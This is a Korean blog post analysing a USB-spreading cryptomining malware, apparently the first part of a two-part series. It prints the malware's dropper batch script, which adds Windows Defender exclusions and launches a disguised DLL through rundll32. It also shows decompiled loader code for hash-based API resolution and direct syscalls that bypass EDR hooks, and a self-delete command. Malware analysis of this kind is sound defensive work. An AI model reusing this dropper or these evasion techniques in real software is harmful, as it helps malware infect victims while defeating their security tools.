들어가며
얼마 전 지인에게서 PC를 사용하다가 시스템이 갑자기 둔해지고 이상한 동작을 보인다며 연락이 왔습니다.
USB를 꽂고 나면 탐색기에서 파일이 하나도 보이지않는데, 용량은 가득 차있는 기이한 상태라고 했습니다.
첫 설명만 듣고는 전형적인 USB 웜 감염 증상이라고 판단했습니다. 파일을 숨김 처리해두는 구형 VBS 웜 계열이겠거니 하고
가볍게 생각했던 것이 솔직한 심정이었습니다.
흥미로워 분석해 볼 겸
파일을 수거해 분석을 시작하고 나서 생각이 완전히 바뀌었습니다.
단순한 파일 은닉 웜이 아니었습니다. 커널 드라이버 취약점을 직접 익스플로잇하고, EDR 제품의 API 후킹을 우회하며,
C&C 서버와의 통신이 이미 완료된 상태였습니다. 며칠에 걸쳐 전체 파일을 분석한 기록을 두 편에 나눠 정리합니다.
1편에서는 최초 감염 경로부터 1차 로더(u364204.dll)의 EDR 우회 기법까지, 2편에서는 실제로 설치되는 페이로드 전체와
커널 드라이버 악용(BYOVD)까지 다룹니다.
시간을 많이 들여 분석한건 아니며 잘못 분석된 내용이 존재할 수 있습니다.
틀리더라도 너그러히 봐주시면 감사하겠습니다.
1. USB 감염과 바로가기(.Ink) 파일의 덫
감염된 USB를 탐색기로 열면 "USB Drive"라는 이름의 바로가기 파일 하나만 눈에 들어옵니다. 아무리 봐도 파일이 없는 것처럼
보이지만 드라이브 용량은 가득 차있는 상태입니다. 당연히 사용자는 파일을 찾기 위해 눈에 보이는 바로가기를 클릭하게 됩니다.
이 순간 감염이 시작됩니다.

원본 파일들은 사라진 것이 아니라 sysvolume 폴더 내에 숨겨진 채, 숨김(H) + 시스템(S) 속성이 부여되어 있었습니다.
Windows 탐색기 기본 설정으로는 숨김 항목을 표시해도 시스템 속성이 동시에 적용된 파일은 보이지 않기 때문에,
별도의 조치 없이는 사용자가 이 폴더의 존재 자체를 알아채기 어렵습니다.
명령 프롬프트(CMD)를 관리자 권한으로 실행하여 속성을 해제하면 원본 파일들이 다시 나타납니다.
attrib -h -s -r -a /s /d *.*

속성을 해제한 sysvolume 폴더 내부 구성은 다음과 같습니다.
- u635528.vbs : USB 전파를 담당하는 VBS 웜
- u138047.bat : 실제 감염 프로세스를 시작하는 드로퍼 배치파일
- u364204.dat : 확장자를 위장한 악성 DLL 파일
- u482821.bin : 4바이트 크기의 설정값 파일
각 파일의 이름에 붙은 숫자는 매 감염 시마다 무작위로 생성되는 값으로, 파일명 기반의 시그니처 탐지를 우회하기 위한 설계입니다.
2. 드로퍼 배치파일(u138047.bat)의 회피 전략
u138047.bat 파일의 내부 루틴을 분석해 보면 다음 세 가지 핵심 작업을 순차적으로 수행합니다.
@echo off
chcp 65001
explorer "%~dp0..\USB Drive" :: 정상 USB처럼 보이기 위한 위장
if exist "%~dp0u364204.dat" if not exist "C:\Windows\System32\u364204.dll" (
powershell -Command "Add-MpPreference -ExclusionPath '%~dp0';"
powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
timeout /t 3 /nobreak
copy /Y "%~dp0u364204.dat" "C:\Windows\System32\u364204.dll"
rundll32.exe C:\Windows\System32\u364204.dll,IdllEntry 1
)
보기 쉽게 주석을 달아보았습니다.

- Defender 방어선 무력화: Windows Defender 예외 목록에 현재 USB 폴더와 C:\Windows\System32 폴더 전체를 등록합니다. 이로 인해 이후 생성되는 모든 악성 파일들이 Defender 실시간 모니터링 대상에서 제외되며, 추가적인 페이로드가 얼마나 설치되더라도 자동으로 탐지·차단이 이루어지지 않는 환경이 만들어집니다.
- LOLBin(Living-off-the-land) 활용: Windows 정상 시스템 바이너리인 rundll32.exe를 이용해 악성 DLL의 IdllEntry 함수를 인자값 1과 함께 직접 호출합니다. 프로세스 목록에는 정상 도구인 rundll32.exe만 표시되므로, 실행 프로세스만 육안으로 확인하는 방식으로는 악성 행위 여부를 판단하기가 매우 어렵습니다.
- 실행 조건 이중 점검: if exist ... if not exist ... 구조를 통해 u364204.dat가 존재하고 u364204.dll이 아직 설치되지 않은 경우에만 감염 루틴이 실행됩니다. 이미 한 번 감염된 PC에서는 재실행되지 않도록 하는 자체 안전장치이자, 불필요한 중복 실행으로 인한 흔적 노출을 줄이기 위한 설계입니다.
- 확장자 위장 이식: .dat 형태로 위장해있던 악성 DLL을 C:\Windows\System32\u364204.dll 경로로 강제 복사합니다. 확장자를 .dat으로 바꿔 일반 데이터 파일처럼 위장하는 것은 자동화 탐지 및 육안 검사를 동시에 피하기 위한 기법입니다.
3. 1차 로더(u364204.dll)분석 및 정교한 우회 기법
기본 정보 확인
DIE 도구로 먼저 기본 정보를 파악했습니다. 패킹은 적용되어 있지 않았으며, Visual Studio 2022로 컴파일된 64비트 DLL 파일이었습니다.

PGO(Profile-Guided Optimization)가 적용된 릴리즈 빌드라는 점이 주목할 만합니다. 단순히 돌아가기만 하면 되는 수준의 제작이 아니라, 실행 성능까지 최적화한 완성도 높은 빌드라는 의미입니다. 별도의 패킹이 없음에도 불구하고, 소스 코드 레벨에서 정적 분석을 철저히 방해하도록 설계되어 있다는 것이 이후 분석에서 계속 확인됩니다.
Import 테이블 최소화
IDA 에서 Import 탭을 열면 이 DLL이 명시적으로 참조하는 API 함수가 단 3개뿐임을 확인할 수 있습니다.
- GetModuleFileNameW
- GetModuleHanleExW
- DisableThreadLibraryCalls
일반적인 악성코드가 사용하는 파일 조작, 레지스트리, 네트워크 관련 API가 전혀 보이지 않는다는 것은, 필요한 모든 API를 런타임 시점에 동적으로 리졸빙(Resolving)하여 사용함을 의미합니다. Import 테이블을 기반으로 동작을 추론하는 정적 분석 기법이나 시그니처 탐지가 원천적으로 무력화되는 구조입니다.
해시 기반 API 리졸빙 (djb2 변형)
IdllEntry 진입점 내부를 따라가다 보면 sub_180003C90이라는 함수가 반복적으로 호출되는 것을 확인할 수 있습니다. 이 함수가 API 리졸빙의 핵심 역할을 담당합니다.

해시값을 인자로 받아 API주소를 반환하는 리졸버 구조가 드러납니다.

두 개의 해시값(0x46CA3D07, 0x40583309)으로 DLL과 API를 차례로 탐색하는 흐름입니다.




디컴파일 결과를 보면 동작 방식이 명확하게 드러납니다.

PEB > Ldr > InMemoryOrderModuleList를 직접 순회하며 export 함수 이름을 해시로 비교합니다.
// PEB에서 직접 로드된 모듈 목록 순회
p_InMemoryOrderModuleList = &NtCurrentPeb()->Ldr->InMemoryOrderModuleList;
// 각 모듈 Export 함수명을 djb2 변형 해시로 계산
v10 = 59297; // seed = 0xE7A1
for (i = v13[0]; *v9; i = *v9) {
++v9;
v10 = i + 33 * v10; // hash = hash * 0x21 + char
}
if (v10 == a1) break; // 목표 해시값 일치 시 해당 함수 주소 반환
사용된 해시 알고리즘은 djb2의 변형으로, 초기 시드값으로 0xE7A1(59297)을 사용하고 곱셈 상수로 33(0x21)을 적용하는 커스텀 버전입니다.
PEB(Process Environment Block)를 직접 참조하여 현재 프로세스에 로드된 모든 DLL 목록을 순회하고, 각 DLL의 Export 함수 이름을 하나씩 꺼내 위 알고리즘으로 해시를 계산한 뒤 목표값과 비교합니다.
일치하는 항목을 찾으면 그 함수의 실제 메모리 주소를 반환하는 구조입니다.
해시값을 역산하여 확인한 실제 API 목록은 다음과 같습니다.
| 해시값 | 매핑된 이름 | 용도 |
| 0x46CA3D07 | RUNDLL32.EXE | 실행 환경 검증 |
| 0x40583309 | NTDLL.DLL | 베이스 주소 획득 |
| 0x695B8977 | NtCreateFile | 파일 생성 (EDR 우회) |
| 0x4D799FCE | NtWriteFile | 파일 쓰기 (EDR 우회) |
| 0xEB7A1A75 | NtCreateUserProcess | 프로세스 생성 |
| 0x79468157 | RtlCreateProcessParametersEx | 프로세스 파라미터 생성 |
| 0x77A3ED30 | RtlDestroyProcessParameters | 파라미터 정리 |
| 0x82A35258 | NtWaitForSingleObject | 프로세스 대기 |
| 0x5435A0BF | LdrLoadDll | 추가 DLL 로드 |
| 0xCEB013A2 | LdrUnloadDll | DLL 언로드 |
이 10개 함수의 주소를 모두 확보한 뒤에야 실제 페이로드 동작이 시작됩니다.
Direct Syscall 그리고 EDR 후킹을 원천 우회
sub_180003F6C 함수를 열면 코드가 단 두 줄입니다

이후 실제 호출 시 ntdll을 거치지 않고 syscall 명령어를 직접 실행합니다.
result = (unsigned int)dword_180C51544; // 사전에 저장해 둔 syscall 번호
__asm { syscall; } // 커널에 직접 진입
대부분의 EDR 제품은 kernel32나 ntdll의 주요 API 함수 앞에 후킹(Hooking) 코드를 삽입하여 호출을 가로채고 행위를 모니터링하는 방식으로 동작합니다.
그런데 위 코드는 ntdll 함수를 전혀 호출하지 않습니다.
ntdll의 Export 테이블에서 각 함수의 syscall 번호만을 미리 추출해두고, 실제 호출 시에는 syscall 명령어를 직접 실행하여 커널에 진입합니다. EDR이 후킹을 걸어 둔 레이어 자체를 우회하는 방식이기 때문에, 이 방식으로 이루어지는 파일 생성이나 프로세스 실행은 EDR 입장에서 감지할 수단이 없습니다.
실행 환경 검증 (안티 분석)
악성코드는 실제 페이로드 동작 전에 두 가지 조건을 반드시 확인합니다.
첫째, 로드된 모듈 목록에 RUNDLL32.EXE의 해시값(0x46CA3D07)이 존재하는지 검사합니다. 배치파일이 지정한 방식 그대로 rundll32.exe를 통해 실행된 경우에만 통과되는 조건입니다. 샌드박스 환경이나 분석가가 직접 LoadLibrary로 로드하는 방식으로는 이 검사를 통과하지 못하고 조용히 종료됩니다.
둘째, NTDLL.DLL의 해시값(0x40583309)을 통해 ntdll의 베이스 주소를 획득합니다. 이후 ntdll의 Export 테이블을 직접 파싱하여 앞서 언급한 Direct Syscall에 필요한 syscall 번호를 추출하기 위한 준비 단계입니다.
내장 암호화 페이로드
파일 전체 크기가 12.3MB인데, 섹션별 엔트로피를 측정해보면 흥미로운 구간이 발견됩니다.
0x00000000 ~ 0x00570000 엔트로피 0.8~2.5 정상 코드 및 데이터 영역
0x00580000 ~ 0x00C50400 엔트로피 7.997 암호화된 내장 페이로드
뒤쪽 약 7.3MB 구간의 엔트로피가 최대치(8.0)에 근접합니다.
이 영역에 2차 페이로드인 svcin64.exe가 암호화된 상태로 내장되어 있습니다.
이 DLL이 실행되면 해당 구간을 복호화하고, 아래 경로에 파일을 기록한 뒤 프로세스로 실행합니다.
\??\C:\Windows\System32\svcin64.exe
여기서 앞에 붙은 \??\는 NT 네임스페이스 경로 표기로, NtCreateFile과 같은 저수준 API를 직접 호출할 때 사용하는 형식입니다.
파일 기록에 kernel32의 CreateFileW가 아닌 ntdll의 NtCreateFile을 직접 사용한다는 뜻이며, 이 역시 EDR 탐지를 우회하기 위한 설계의 일환입니다.
실행 이후에는 5초 딜레이를 두고 자기 자신인 u364204.dll을 삭제하여 감염 흔적을 제거합니다.
cmd.exe /c timeout /t 5 /nobreak && del /q "C:\Windows\System32\u364204.dll"
마치며
u364204.dll 하나만 놓고 보더라도 상당히 정교하게 설계된 로더임을 알 수 있습니다.
PEB 직접 워킹, 해시 기반 API 리졸빙, Direct Syscall, 소스 코드 레벨 문자열 난독화, 내장 암호화 페이로드의 조합은 현재 시중에 유통되는 대부분의 보안 솔루션을 정면으로 통과하도록 설계된 구성입니다.
2편에서는 드롭된 svcin64.exe부터 시작하여 최종 채굴기(XMRig)가 설치되고 실행되기까지의 전 과정, 그리고 커널 드라이버 취약점을 악용하는 BYOVD 기법까지 이어서 분석합니다.
2편 : [PrintMiner] USB 전파형 코인채굴 악성코드 분석 (2) - BYOVD 커널 악용과 AD정찰, IOC 대응
[PrintMiner] USB 전파형 코인채굴 악성코드 분석 (2) - BYOVD 커널 악용과 AD정찰, IOC 대응
들어가며1편에서는 감염된 USB 드라이브의 최초 동작 방식부터, 1차 로더인 u364204.dll이 EDR 제품의 API 후킹을 어떻게 원천 우회하는지까지를 다뤘습니다. PEB 직접 워킹, 해시 기반 API 리졸빙, Direct
imoracle.tistory.com
'Reverse Engineering > 악성코드 분석' 카테고리의 다른 글
| [PrintMiner] USB 전파형 코인채굴 악성코드 분석 (2) - BYOVD 커널 악용과 AD정찰, IOC 대응 (0) | 2026.09.16 |
|---|---|
| [CodeEngn] Malware Analysis L01 (0) | 2024.07.04 |